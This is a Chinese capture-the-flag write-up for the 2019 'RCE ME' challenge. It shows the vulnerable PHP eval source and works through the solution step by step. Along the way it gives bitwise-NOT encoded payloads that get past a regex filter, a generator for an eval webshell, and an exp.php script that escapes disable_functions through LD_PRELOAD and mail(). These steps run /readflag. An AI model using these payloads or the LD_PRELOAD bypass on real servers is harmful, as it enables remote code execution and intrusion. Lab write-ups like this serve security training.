极客大挑战 2019RCE ME

首先老样子一来就是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

这边需要绕过正则表达式而且有长度限制可以直接使用取反urlencode编码绕过

https://blog.csdn.net/mochu7777777/article/details/104631142 这位大佬介绍了各种绕过方法
先phpinfo看一下禁止了哪些功能

1
2
3
<?php
echo urlencode(~'phpinfo');
?>

payload: ?code=(~%8F%97%8F%96%91%99%90)();

109.PNG

构造shell连接

1
2
3
4
5
6
7
8
9
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[aaa]))';
$d=urlencode(~$c);
echo $d;
?>

禁用了一堆的功能

110.PNG

可以连接但是只能从readflag里面拿到flag flag是空的

bbbb.PNG

可以用蚂剑的绕过disabled_function插件选择PHP_GC_UAF就可以运行那个readflag (这是非预期解法)

bbbbb.PNG

预期解通过Linux提供的LD_preload+mail劫持so来执行系统命令 在启动子进程使新的子进程会加载恶意的so拓展然后
我们可以通过so里面定义同名函数劫持api调用
这边disable_functions 禁用了system
找到了大佬写好的文件 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可以用先将bupass_disablefunc_x64.so用蚁剑传入
在传入这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// exp.php
$cmd = "/readflag";
$out_path = "/tmp/1.txt";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/tmp/bypass_disablefunc_x64.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

最终步骤:

1
code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/tmp/exp.php%22;